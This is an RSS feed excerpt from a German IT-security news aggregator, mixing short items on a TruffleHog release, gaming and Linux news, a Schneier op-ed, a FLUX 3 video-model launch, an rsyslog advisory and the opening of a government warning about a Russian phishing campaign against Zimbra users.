<li>Posthog regex update by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mattbrady-1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mattbrady-1">@mattbrady-1</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4902316600" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5133" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5133/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5133">#5133</a></li>
<li>fix(handlers): apk handler now doesnt check for apk extension since json-enumerator and other byte stream methods wouldnt have it by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/johannestaas-trufflesec/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/johannestaas-trufflesec">@johannestaas-trufflesec</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4954699768" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5151" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5151/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5151">#5151</a></li>
</ul>
<h2>New Contributors</h2>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mattbrady-1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mattbrady-1">@mattbrady-1</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4856829937" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5121" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5121/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5121">#5121</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/trufflesecurity/trufflehog/compare/v3.95.9...v3.96.0"><tt>v3.95.9...v3.96.0</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[World of Warcraft: Admin nutzt Cheat für Freunde - Fristlose Kündigung]]></title>
<description><![CDATA[In World of Warcraft (WoW) hat ein Game Master seine weit­rei­chen­den Rechte missbraucht, um Freunden in einem anspruchsvollen Dungeon einen unfairen Vorteil zu verschaffen. Der Vorfall flog auf und zog nun drastische Konsequenzen nach sich.			(Weiter lesen)]]></description>
<link>https://tsecurity.de/de/3691732/it-security-nachrichten/world-of-warcraft-admin-nutzt-cheat-fuer-freunde-fristlose-kuendigung/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691732/it-security-nachrichten/world-of-warcraft-admin-nutzt-cheat-fuer-freunde-fristlose-kuendigung/</guid>
<pubDate>Fri, 24 Jul 2026 16:04:36 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<a href="https://winfuture.de/news,160186.html"><img hspace="5" border="0" align="left" alt="Gaming, Spiele, Games, Entwickler, Blizzard, Mmorpg, Mmo, Online-Rollenspiel, World of Warcraft, Entlassungen, Wow, Entlassung, Admin, gefeuert, Entlassen, Game Master, Fired" width="1920" height="1080" src="https://i.wfcdn.de/teaser/1920/92296.jpg"></a>
			In <a href="https://winfuture.de/special/world-of-warcraft/" title="World of Warcraft Special">World of Warcraft</a> (WoW) hat ein Game Master seine weit­rei­chen­den Rechte missbraucht, um Freunden in einem anspruchsvollen Dungeon einen unfairen Vorteil zu verschaffen. Der Vorfall flog auf und zog nun drastische Konsequenzen nach sich.			(<a href="https://winfuture.de/news,160186.html">Weiter lesen</a>)]]></content:encoded>
</item>
<item>
<title><![CDATA[Should you use AI for a task? Here’s a simple way to decide | Bruce Schneier]]></title>
<description><![CDATA[Sometimes, what matters isn’t your output but what you put into the process. Think of it like work v the gymI teach public policy at the Harvard Kennedy School and the Munk School at the University of Toronto. And it will come at no surprise to you that my students regularly use AI to complete th...]]></description>
<link>https://tsecurity.de/de/3691471/ai-nachrichten/should-you-use-ai-for-a-task-heres-a-simple-way-to-decide-bruce-schneier/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691471/ai-nachrichten/should-you-use-ai-for-a-task-heres-a-simple-way-to-decide-bruce-schneier/</guid>
<pubDate>Fri, 24 Jul 2026 14:06:15 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Sometimes, what matters isn’t your output but what you put into the process. Think of it like work v the gym</p><p>I teach public policy at the Harvard Kennedy School and the Munk School at the University of Toronto. And it will come at no surprise to you that my students regularly <a href="https://www.insidehighered.com/news/faculty/learning-assessment/2026/07/08/brown-professor-suspects-most-his-class-used-ai-cheat">use AI</a> to complete their writing assignments. Doing so is a waste of their tuition money. But if their entire career is going to include AI writing assistants, why shouldn’t they embrace their future?</p><p>The best way I’ve found to explain the dilemma <a href="https://danielmiessler.com/blog/keep-the-robots-out-of-the-gym">comes from</a> the AI researcher Daniel Meissler: it’s the difference between work and the gym.</p> <a href="https://www.theguardian.com/commentisfree/2026/jul/24/should-you-use-ai">Continue reading...</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[MARVEL Tōkon: Fighting Souls appears to block SteamOS / Linux]]></title>
<description><![CDATA[MARVEL Tōkon: Fighting Souls has an Open Beta available and sadly they seem to have blocked SteamOS / Linux from playing due to anti-cheat.Read the full article on GamingOnLinux.]]></description>
<link>https://tsecurity.de/de/3691031/linux-tipps/marvel-tkon-fighting-souls-appears-to-block-steamos-linux/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691031/linux-tipps/marvel-tkon-fighting-souls-appears-to-block-steamos-linux/</guid>
<pubDate>Fri, 24 Jul 2026 10:45:58 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[MARVEL Tōkon: Fighting Souls has an Open Beta available and sadly they seem to have blocked SteamOS / Linux from playing due to anti-cheat.<p><img src="https://www.gamingonlinux.com/uploads/articles/tagline_images/733870457id29442gol.webp" alt></p><p>Read the full article on <a href="https://www.gamingonlinux.com/2026/07/marvel-tokon-fighting-souls-appears-to-block-steamos-linux/">GamingOnLinux</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[DEF CON 34 Badge Alert: SAO Edition]]></title>
<description><![CDATA[DEF CON 34 is an electronic badge year, and we've got something very special in store, created for us by a hardware hacking legend. We can't share too much at this juncture, but we can say this: it will be iconic. First round Hall of Fame. In addition to being a cool badge, it's a platform. It's ...]]></description>
<link>https://tsecurity.de/de/3690461/hacking/def-con-34-badge-alert-sao-edition/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690461/hacking/def-con-34-badge-alert-sao-edition/</guid>
<pubDate>Fri, 24 Jul 2026 01:56:39 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img src="https://defcon.org/images/defcon-34/post-images/badge-alert.webp" alt="DEF CON Bdge alert SAO edition"> </p>

    
<p>DEF CON 34 is an electronic badge year, and we've got something very special in store, created for us by a hardware hacking legend. We can't share too much at this juncture, but we can say this: it will be iconic. First round Hall of Fame. In addition to being a cool badge, it's a platform. It's a full-fledged, first-of-its-kind inspectable platform. Long after closing ceremonies we think you'll still be using this device to regain some agency and security in this rapidly complexifying world.</p>

<p>    So what we can offer right now is some data to help all the SAO enthhusiasts out there. Please enjoy this <a href="https://media.defcon.org/DEF%20CON%2034/DEF%20CON%2034%20badge/DEF%20CON%2034%20SAO%20Spec%20Sheet.pdf">spec sheet</a> with the relevant schematics, measurements and clearances for your projects. Electro-specs also included. </p>

<p>    We're excited to see what you come up with. As good as the badge is, we know you can make it better.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Windows 11 Security Cheat Sheet: BitLocker, Passkeys, and Defender Explained]]></title>
<description><![CDATA[Learn how BitLocker, passkeys, Microsoft Defender, and other Windows 11 security features protect your data, accounts, apps, and devices. The post Windows 11 Security Cheat Sheet: BitLocker, Passkeys, and Defender Explained appeared first on TechRepublic. This article has been indexed…
Read more ...]]></description>
<link>https://tsecurity.de/de/3690043/it-security-nachrichten/windows-11-security-cheat-sheet-bitlocker-passkeys-and-defender-explained/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690043/it-security-nachrichten/windows-11-security-cheat-sheet-bitlocker-passkeys-and-defender-explained/</guid>
<pubDate>Thu, 23 Jul 2026 21:11:00 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Learn how BitLocker, passkeys, Microsoft Defender, and other Windows 11 security features protect your data, accounts, apps, and devices. The post Windows 11 Security Cheat Sheet: BitLocker, Passkeys, and Defender Explained appeared first on TechRepublic. This article has been indexed…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/windows-11-security-cheat-sheet-bitlocker-passkeys-and-defender-explained/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/windows-11-security-cheat-sheet-bitlocker-passkeys-and-defender-explained/">Windows 11 Security Cheat Sheet: BitLocker, Passkeys, and Defender Explained</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Black Forest Labs launches FLUX 3 capable of generating images and 20-second video with audio — but in limited release to start]]></title>
<description><![CDATA[Black Forest Labs (BFL) is expanding its FLUX family beyond image generation with today's launch of FLUX 3, a multimodal frontier model trained to understand and generate images, or combined audio/video clips up to 20 seconds from a single prompt — and to extend the same underlying architecture t...]]></description>
<link>https://tsecurity.de/de/3690017/it-nachrichten/black-forest-labs-launches-flux-3-capable-of-generating-images-and-20-second-video-with-audio-but-in-limited-release-to-start/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690017/it-nachrichten/black-forest-labs-launches-flux-3-capable-of-generating-images-and-20-second-video-with-audio-but-in-limited-release-to-start/</guid>
<pubDate>Thu, 23 Jul 2026 20:48:22 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Black Forest Labs (BFL) is expanding its FLUX family beyond image generation with <a href="https://bfl.ai/blog/flux-3">today's launch of FLUX 3</a>, a multimodal frontier model trained to understand and generate images, or combined audio/video clips up to 20 seconds from a single prompt — and to extend the same underlying architecture to robotic vision and actions.</p><p>The Freiburg, Germany-based AI lab says FLUX 3 is jointly trained across those modalities rather than assembling separate image, video and audio models behind a common interface. </p><p>That distinction is central to the company's pitch: BFL wants enterprises to think about creative generation, simulation, computer use and robotics as connected applications of a single capability it calls visual intelligence — models, in the company's words, "that can perceive, predict, and act across physical and digital environments." This release marks BFL's first public video generation model. </p><div></div><p>FLUX 3 will be offered through four product lines: FLUX 3 Video, FLUX 3 Image, FLUX 3 Action and the upcoming, open source FLUX 3 Dev. FLUX 3 Video, with optional native audio generation, and FLUX 3 Action are entering a <a href="https://tally.so/r/44d9NX">gated "Early Access" program now</a>, to which anyone can apply, but which BFL must approve. </p><p>There is presently no public access through BFL's application programming interface (API) or those of partners yet, but the company says FLUX 3 Image will roll out in the coming weeks, followed by general availability. The limited initial availability rollout echoes the release strategies of new models from other frontier labs in the U.S. lately, including <a href="https://venturebeat.com/technology/anthropic-says-its-most-powerful-ai-cyber-model-is-too-dangerous-to-release">Anthropic</a> and <a href="https://venturebeat.com/technology/openai-unveils-gpt-5-6-sol-terra-and-luna-models-but-only-accessible-to-limited-preview-partners-for-now-per-us-gov">OpenAI</a>, though those were ostensibly for security concerns and due to government request. </p><p>What the company has not announced is pricing, production service-level commitments, evaluation methodology, sample sizes, rater counts or any image-model benchmarks at all. Enterprise buyers therefore cannot yet calculate total cost of ownership or independently reproduce the video comparisons.</p><p>Another big notable omission: FLUX 3 is <i>not</i> launching with downloadable weights at this time, nor an open source license. BFL says faster and open-weight versions will arrive later this year, and its technical blog names FLUX 3 Dev as "open-weight access to a multimodal backbone, for content creation (video, audio and image) and action prediction" — a considerably broader commitment than any previous FLUX Dev release, all of which covered images only.</p><p>But it arrives last in the sequence. Developers accustomed to receiving a locally deployable FLUX variant alongside — or soon after — a major model announcement will have to wait. That delay does not negate the company's commitment, but it is disappointing given the role open weights have played in FLUX's adoption thus far. </p><h2><b>Flux 3 is rated higher than the competition, but missing pricing and benchmarking details may prevent rapid enterprise adoption</b></h2><p>BFL has published several benchmark comparisons, but they're qualified as preliminary — with full benchmark results and methodology to be published later during broader general availability. </p><p>In early head-to-head preference testing on 10-second, 720p text-to-video clips with audio, the company says FLUX 3 was preferred over Luma Ray 3.2 in 93% of comparisons, Runway Gen-4.5 in 77%, Grok Imagine Video in 69%, Kling v3 Pro in 60%, Happy Horse v1 in 59%, Happy Horse 1.1 in 57%, and both Seedance 2.0 and Google's Gemini Omni Flash in 52%.</p><p>One caveat travels with every one of those figures, and it comes from BFL itself. The chart carrying the results is labeled a "preliminary evaluation of an early FLUX 3 candidate" — meaning the numbers describe a pre-release checkpoint rather than the model now entering early access. That cuts both ways: the shipping model may perform better, but nothing published today measures what customers will actually call.</p><p>Luma Ray 3.2 and Runway Gen-4.5, where FLUX 3 posted 93% and 77%, are the softest comparisons on the list — established products, but not the models currently setting the pace in independent video rankings. Those are real wins, and they are the ones least likely to change an enterprise shortlist.</p><p>Seedance 2.0, at 52%, is a statistical coin flip against a model most Western enterprises cannot currently procure. ByteDance indefinitely postponed Seedance 2.0's international rollout after Netflix, Warner Bros., Disney, Paramount and Sony sent legal threats over alleged systematic copyright infringement, and that suspension remains in place. Tying a frozen product is neither a strong claim nor a damaging one.</p><p><a href="https://venturebeat.com/technology/googles-gemini-omni-flash-hits-the-api-turning-enterprise-video-production-into-a-conversation">Gemini Omni Flash</a>, also at 52%, matters much more. Omni is the closest large-platform analogue to what FLUX 3 is attempting — multimodal input, video and audio-aware creation, conversational editing — and by BFL's own measurement, the two are indistinguishable on 10-second text-to-video quality. </p><p>Google's advantage in that matchup is that Omni is generally available via Google's Gemini API for $0.10 per second of generated 720p video, or a 10-second clip for around.</p><p>One regional wrinkle matters for a German company's home market. Editing <i>uploaded</i> video is unavailable to Omni Flash users in the European Economic Area, Switzerland and the United Kingdom, though editing video the model itself generated is permitted. A European enterprise that wants to run its existing footage through a generative editing pass cannot currently do so on Omni Flash.</p><p>Here's a rough guide for enterprises considering which video models to rely upon: </p><table><tbody><tr><td><p><b>Model</b></p></td><td><p><b>Max single-generation duration</b></p></td><td><p><b>Max resolution</b></p></td><td><p><b>Key constraints</b></p></td><td><p><b>Price per 10-second clip (720p)</b></p></td><td><p><b>Price per 10-second clip (1080p)</b></p></td><td><p><b>Price per 10-second clip (4K)</b></p></td></tr><tr><td><p>FLUX 3 Video </p></td><td><p><b>20 seconds </b></p></td><td><p>Not stated; evaluations run at 720p </p></td><td><p>Early access; no published SLA or pricing </p></td><td><p>Not announced </p></td><td><p>Not announced </p></td><td><p>Not announced </p></td></tr><tr><td><p>HappyHorse 1.1 </p></td><td><p>15 seconds </p></td><td><p>1080p </p></td><td><p>No 4K; closed weights </p></td><td><p>Not published (v1.0 reseller rate is ~$1.82) </p></td><td><p>Not published (v1.0 reseller rate is ~$3.12) </p></td><td><p>n/a </p></td></tr><tr><td><p>Veo 3.1 </p></td><td><p>Per-second billing </p></td><td><p><b>4K</b> </p></td><td><p><b>Supports clip extension; preview </b></p></td><td><p>$4.00 </p></td><td><p>$4.00 </p></td><td><p>$6.00 </p></td></tr><tr><td><p>Veo 3.1 Fast </p></td><td><p>Per-second billing </p></td><td><p><b>4K </b></p></td><td><p>Preview </p></td><td><p>$1.00 </p></td><td><p>$1.20 </p></td><td><p><b>$3.00 </b></p></td></tr><tr><td><p>Veo 3.1 Lite </p></td><td><p>Per-second billing </p></td><td><p>1080p </p></td><td><p>No 4K, no clip extension; preview </p></td><td><p><b>$0.50 </b></p></td><td><p><b>$0.80 </b></p></td><td><p>n/a </p></td></tr><tr><td><p>Gemini Omni Flash </p></td><td><p>10 seconds (3s minimum) </p></td><td><p>720p at 24 FPS </p></td><td><p>Preview abd no EU access</p></td><td><p>$1.00 </p></td><td><p>n/a </p></td><td><p>n/a </p></td></tr></tbody></table><h2><b>One architecture for media generation and physical action</b></h2><p>FLUX 3 builds on <a href="https://venturebeat.com/technology/black-forest-labs-new-self-flow-technique-makes-training-multimodal-ai">Self-Flow</a>, BFL's method for aligning multimodal understanding and generation within one architecture, publicized back in March 2026. </p><p>The company says it significantly scaled up compute and data to train across video, images and audio simultaneously, and that testing showed video generation and action prediction do not require separate foundations — the same architecture could be extended to action prediction without sacrificing what it learned from video.</p><p>"We place vision at the center of our approach because it is the most signal-rich medium of the physical world. Images convey structure, images and video teach spatial relationships, video teaches dynamics, and actions reveal causal relationships. But vision alone is not the complete picture," said Robin Rombach, co-founder and CEO of BFL, in a pre-release statement provided to VentureBeat. "True intelligence means perceiving the world: predicting how it will change, taking action, and learning from the results. Joint training within one unified architecture is what will get us there, because each training modality strengthens the others. Audio conveys timing, prosody, and physical events that elude vision. Language conveys goals, abstractions, and instructions that pixels cannot easily express."</p><p>He put the case more bluntly elsewhere in the announcement: "You can't cheat reality. A model that only learns images can only generate images. But the world is not made of still frames. It moves, sounds, changes, and responds."</p><p>BFL says FLUX 3 targets creative tooling, media, design, e-commerce and physical AI, supporting video generation with synchronized audio, precise image editing, product and material consistency across motion, multilingual generation and robotic action prediction. It is already being tested by Canva, Burda, Magnific (formerly Freepik), Krea and Picsart.</p><p>For creative software companies, the appeal is consolidation. A single foundation could potentially support storyboarding, image editing, product rendering, video variation and localization without repeatedly translating assets and instructions between disconnected models.</p><p>For robotics teams, the potential value is data efficiency. Models that already encode motion, object behavior and physical change may need less task-specific robot training than systems starting from raw demonstrations.</p><h2><b>What FLUX 3 Video can actually do</b></h2><p>The video tier is the most concretely specified part of the launch, and it settles a question that had been circulating as rumor: FLUX 3 generates clips of up to 20 seconds with audio in a single generation. </p><p>Every video output comes with native audio. For comparison, HappyHorse 1.0 tops out at 15 seconds of 1080p with synchronized audio — though BFL has not stated what resolution its 20-second clips run at, and its published evaluations were conducted at 720p. Still, a 20-second long clip from a single prompt is among the longest yet achieved, matching <a href="https://developers.openai.com/api/docs/guides/video-generation">OpenAI's discontinued Sora model.</a></p><p>The capability list BFL published covers:</p><ul><li><p>Text-to-video generation.</p></li><li><p>Image-to-video generation, either animating from a starting frame or using images as visual references.</p></li><li><p>Video-to-video generation from a reference clip, carrying elements such as a specific character into a new scene or context.</p></li><li><p>Generative video-audio continuation from existing video and audio input.</p></li><li><p>Keyframe-to-video generation for controlled transitions between defined moments.</p></li><li><p> Multilingual dialogue.</p></li><li><p>A broad range of visual styles and aspect ratios, from candid camcorder footage to animation and cinematics.</p></li><li><p>Typography generation and animated design.</p></li><li><p>Agentic chaining of individual clips into longer, multi-shot sequences.</p></li></ul><p>That last item is the one enterprise video teams should look at hardest. BFL claims the capabilities combine to produce sequences lasting several minutes, with visual references keeping characters consistent across scenes. If that holds up under production conditions, it addresses the constraint that has kept generative video out of most commercial pipelines: not clip quality, but continuity across shots.</p><p>It is also the capability where competition is most direct. HappyHorse 1.1's headline upgrade is R2V, or Reference-to-Video, which accepts multiple character reference images to hold identity stable across generated footage — the same problem, approached at the input layer rather than through agentic clip chaining. Alibaba also claims zero-drift lip sync and has specifically targeted the artifacts that mark commercial AI video as synthetic, including facial oiliness and over-sharpening. Character consistency is where this category is being contested, and both companies know it.</p><p>BFL says FLUX 3 Video is already particularly strong at human facial expressions, associating sounds with physical events, and multilingual output. On the image side, the company says preliminary evaluations conducted during midtraining show significant improvement over earlier FLUX versions in complex prompt handling and text generation, including high-accuracy text in multiple languages. It published no image benchmarks or win rates.</p><h2><b>FLUX-mimic tests whether video models can become robot models</b></h2><p>BFL is applying its unified-architecture thesis through FLUX-mimic, a video-action model built on FLUX 3 and developed with Swiss firm Mimic Robotics, one of the first partners to receive early access.</p><p>The technical blog describes two distinct routes to action prediction: integrating native action prediction directly into FLUX 3, scaling up the initial Self-Flow work; and using the pretrained video backbone as a dynamics-aware foundation from which specialized action models can be finetuned with limited task-specific data. FLUX-mimic is the second route — the FLUX 3 backbone combined with mimic's robot-learning and production-deployment expertise in dexterous manipulation.</p><p>FLUX-mimic is designed for general-purpose robotic manipulation: helping robots understand a visual scene, predict the consequences of an action, and adapt to new tasks with far less task-specific data. </p><p>BFL and Mimic Robotics say that depending on task difficulty, the model can be finetuned for a specific manipulation task with as little as 30 minutes of robot data, where prior approaches have required 30 or more hours.</p><p>"The hardest part of robotics is data," said Elvis Nava, CTO of Mimic Robotics, in a statement provided to VentureBeat. "Every new task normally means hours of a robot repeating itself. Because FLUX-mimic is built on top of frontier video models that already understand how the physical world behaves, it picks up a new task in minutes, not days. This way, we can leapfrog the current state of the art in robot learning."</p><p>BFL<!-- --> argues that a model trained only on images cannot understand a world that "moves, sounds, changes, and responds," and that physical understanding is what produces convincing generated footage. Google makes a nearly identical claim for Gemini Omni. </p><p>Its developer documentation cites "world knowledge" that combines "an understanding of physics" with Gemini's grasp of history, science and cultural context. Its marketing is blunter still: "Most AI models just predict the next pixel to build a narrative or an image. Gemini Omni is different," the company posted in June, crediting the model with "an intuitive understanding of forces like gravity, kinetic energy, and fluid dynamics for more realistic movements that follow real-world logic." </p><p>The practical consequence for enterprise buyers is that world-model language is not a differentiator. Two of the three leading video systems now market physical understanding as their central advantage, and neither has published a benchmark that measures it. </p><p>There is no standard test for whether generated water behaves like water, whether a dropped object falls at a plausible rate, or whether a sound arrives when the impact does. Human preference ratings capture some of it indirectly. Nothing else on offer captures it at all.</p><h2><b>Open weights helped make FLUX an industry standard</b></h2><p>BFL<a href="https://venturebeat.com/technology/s"> officially launched in summer 2024 </a>and gained a name for itself in the AI industry in the intervening two years for its commitment to open sourcing high-quality AI image models beloved by developers, creatives, and enterprises. </p><p>The company's founders, including Rombach, Andreas Blattmann and Patrick Esser, previously helped create VQGAN, latent diffusion and <a href="https://venturebeat.com/business/stable-diffusion-creators-launch-black-forest-labs-secure-31m-for-flux-1-ai-image-generator">Stable Diffusion</a>, the latter the open source technology that kicked off broad AI generation capabilities for the masses and currently used by many AI image generators and companies. </p><p>That reach translated into commercial distribution. FLUX models now power generative features inside Adobe Photoshop, Picsart and Nous Research's Hermes Agent, among other platforms, and the company cites film director Martin Scorsese among professional users.</p><p><a href="https://www.wired.com/story/black-forest-labs-ai-image-generation/"><i>Wired</i></a> magazine described Black Forest Labs as a relatively small company that nevertheless became a leading competitor to Silicon Valley's largest AI labs, with FLUX models ranking near the top of image benchmarks and becoming some of the most downloaded text-to-image models on AI code sharing community Hugging Face. The company says it now runs a 100-person team across Freiburg and San Francisco.</p><p>FLUX.1 Dev, FLUX.1 Kontext Dev, FLUX.1 Fill Dev and related control models, <a href="https://venturebeat.com/business/black-forest-labs-releases-flux-1-1-pro-and-an-api">released shortly after the firm's launch,</a>  gave researchers and creative-tool developers access to downloadable checkpoints, local inference and integrations with frameworks including Hugging Face Diffusers and ComfyUI. FLUX.1 Kontext Dev, for example, was released as an open-weight model for research and noncommercial use, with generated outputs permitted for commercial purposes under the applicable license.</p><p>The company continued that pattern with <a href="https://venturebeat.com/ai/black-forest-labs-launches-flux-2-ai-image-models-to-challenge-nano-banana">FLUX.2 Dev</a> in late 2025, a 32-billion-parameter open-weight model combining generation and multi-reference editing. Black Forest Labs called it the strongest open-weight image generation and editing model available at launch and released weights, reference inference code and optimized implementations for consumer Nvidia GPUs.</p><p>FLUX 3 Dev raises the stakes on that evaluation. Previous Dev releases were image models. This one is described as a multimodal backbone spanning video, audio, image and action prediction — meaning a single license will govern whether a company can locally deploy a model that touches both content production and physical machinery.  BFL hasn't yet shared information about its license, the parameter count, quantizations or hardware requirements.</p><p>The company frames open weights as an enterprise feature rather than a community gesture, arguing they enable secure, low-latency local deployment for applications like robotic control systems and let teams adapt FLUX 3 to their own data, products and workflows. </p><p>The financial backing behind FLUX 3 is worth noting alongside the technical claims. Black Forest Labs is valued at $3.25 billion and has raised more than $450 million from investors including a16z, AMP, Salesforce Ventures, Nvidia, General Catalyst, Adobe Ventures, Figma Ventures, Canva and Deutsche Telekom's T.Capital.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Windows 11 Security Cheat Sheet: BitLocker, Passkeys, and Defender Explained]]></title>
<description><![CDATA[Learn how BitLocker, passkeys, Microsoft Defender, and other Windows 11 security features protect your data, accounts, apps, and devices.
The post Windows 11 Security Cheat Sheet: BitLocker, Passkeys, and Defender Explained appeared first on TechRepublic.]]></description>
<link>https://tsecurity.de/de/3690015/it-nachrichten/windows-11-security-cheat-sheet-bitlocker-passkeys-and-defender-explained/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690015/it-nachrichten/windows-11-security-cheat-sheet-bitlocker-passkeys-and-defender-explained/</guid>
<pubDate>Thu, 23 Jul 2026 20:48:18 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Learn how BitLocker, passkeys, Microsoft Defender, and other Windows 11 security features protect your data, accounts, apps, and devices.</p>
<p>The post <a href="https://www.techrepublic.com/article/news-windows-11-security-cheat-sheet/">Windows 11 Security Cheat Sheet: BitLocker, Passkeys, and Defender Explained</a> appeared first on <a href="https://www.techrepublic.com/">TechRepublic</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8598-1: rsyslog vulnerabilities]]></title>
<description><![CDATA[It was discovered that rsyslog incorrectly handled regex-based TCP framing
in the imptcp module. A remote attacker could possibly use this issue to
cause rsyslog to crash, resulting in a denial of service.

It was discovered that rsyslog incorrectly handled oversized RFC5424
structured data in th...]]></description>
<link>https://tsecurity.de/de/3689947/unix-server/usn-8598-1-rsyslog-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689947/unix-server/usn-8598-1-rsyslog-vulnerabilities/</guid>
<pubDate>Thu, 23 Jul 2026 20:18:26 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It was discovered that rsyslog incorrectly handled regex-based TCP framing
in the imptcp module. A remote attacker could possibly use this issue to
cause rsyslog to crash, resulting in a denial of service.

It was discovered that rsyslog incorrectly handled oversized RFC5424
structured data in the mmpstrucdata module. A remote attacker could
possibly use this issue to cause rsyslog to crash, resulting in a denial of
service. (CVE-2026-61548)]]></content:encoded>
</item>
<item>
<title><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite]]></title>
<description><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite
Executive summary 
A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboratio...]]></description>
<link>https://tsecurity.de/de/3689407/sicherheitsluecken/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689407/sicherheitsluecken/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</guid>
<pubDate>Thu, 23 Jul 2026 16:59:29 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="c-page-title__buttons"><a class="c-button" href="https://media.defense.gov/2026/Jul/22/2003965244/-1/-1/1/CSA_RUSSIA_PHISHING_TARGET_ZIMBRA.PDF">Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite</a></div>
<h2><strong>Executive summary</strong> </h2>
<p>A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboration Suite (ZCS) software since at least July 2025. The Russian state-supported advanced persistent threat (APT) group’s activity is tracked in the cybersecurity community under several names (see <a href="https://www.cisa.gov/#cyber1">Cybersecurity industry tracking</a>), primarily as “LAUNDRY BEAR,” a name initially coined by the Netherlands General Intelligence and Security Service (AIVD) and Defence Intelligence and Security Service (MIVD) [<a href="https://www.cisa.gov/#wc1">1</a>].</p>
<p>LAUNDRY BEAR’s targeting is almost certainly to gather sensitive information for the Russian Federation, with these actors primarily focusing on the covert acquisition of email data. Previous campaigns indicated LAUNDRY BEAR relied on unsophisticated initial access techniques—including password spraying, phishing, and pass-the-cookie—allowing the group to successfully run high-volume operations. The latest campaign targeting ZCS uses a novel exploit that was a zero-day vulnerability when first exploited and continues to be successfully exploited. The vulnerability, Common Vulnerabilities and Exposures (CVE) <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>, was patched in November 2025. This demonstrates LAUNDRY BEAR’s intent and ability to deploy increasingly sophisticated technical capabilities.</p>
<p>Unlike traditional phishing campaigns that persuade a user into taking an action, such as clicking a link or opening a file, LAUNDRY BEAR’s latest campaign leverages a view-based exploit that only requires a user to view a malicious email within a vulnerable version of the webmail service. Once viewed, the exploit attempts to exfiltrate the victim’s last 90 days of email communications, the organization email directory (i.e., Global Address List [GAL]), and other sensitive information to servers controlled by LAUNDRY BEAR. The exploit also attempts to establish persistent access to victim accounts through a variety of means as detailed in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section.</p>
<p>This Cybersecurity Advisory (CSA) warns of this ongoing malicious threat activity and urges organizations to update their vulnerable software and implement additional mitigations to thwart these Russian state-supported actors’ continued success. The CSA is being released by the following authoring and co-sealing agencies:</p>
<ul>
<li>United States National Security Agency (NSA)</li>
<li>United States Federal Bureau of Investigation (FBI)</li>
